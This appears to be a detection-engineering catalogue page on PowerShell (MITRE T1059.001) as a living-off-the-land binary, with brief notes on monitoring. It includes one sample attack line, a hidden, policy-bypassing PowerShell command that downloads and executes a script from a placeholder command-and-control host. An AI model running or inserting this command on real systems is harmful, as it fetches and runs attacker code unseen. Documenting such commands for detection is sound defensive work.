How many Living-off-the-Land Binaries abuse T1059.001?

LOLPulse tracks 1 verified living-off-the-land binaries across Windows, Linux, and macOS that adversaries can leverage to execute PowerShell (T1059.001).

How can detection engineers monitor for T1059.001?

Detection strategies involve correlating process command-line arguments, parent process lineage, and behavioral telemetry rules (KQL, Sigma, and Splunk) specifically authored for the binaries listed in this matrix.

T1059.001Tactic: ExecutionOfficial MITRE ATT&CK Page

T1059.001: PowerShell

Adversaries may abuse the PowerShell commands and scripting environment for executing commands, downloading payloads, and automating post-exploitation actions.

Total Capable Binaries: 1

•

Windows: 1

•

Linux: 0

•

macOS: 0

Living-off-the-Land Matrix for T1059.001

Across 1 verified binaries

Windows2 payloads

powershell.exe

PowerShell is a powerful task automation framework and scripting engine. Widely abused by threat actors for in-memory execution (fileless malware), credential dumping, remote command execution, and AMSI bypasses.

Sample Attack Vector:

powershell.exe -nop -w hidden -ep bypass -c "IEX ((New-Object Net.WebClient).DownloadString('http://c2.server/stage2.ps1'))"

Inspect powershell.exe & Telemetry

Curated & Verified by

Sharon Ben Moshe

Cybersecurity Researcher & Detection Engineer • Check Point

LinkedIn Profile Methodology & Papers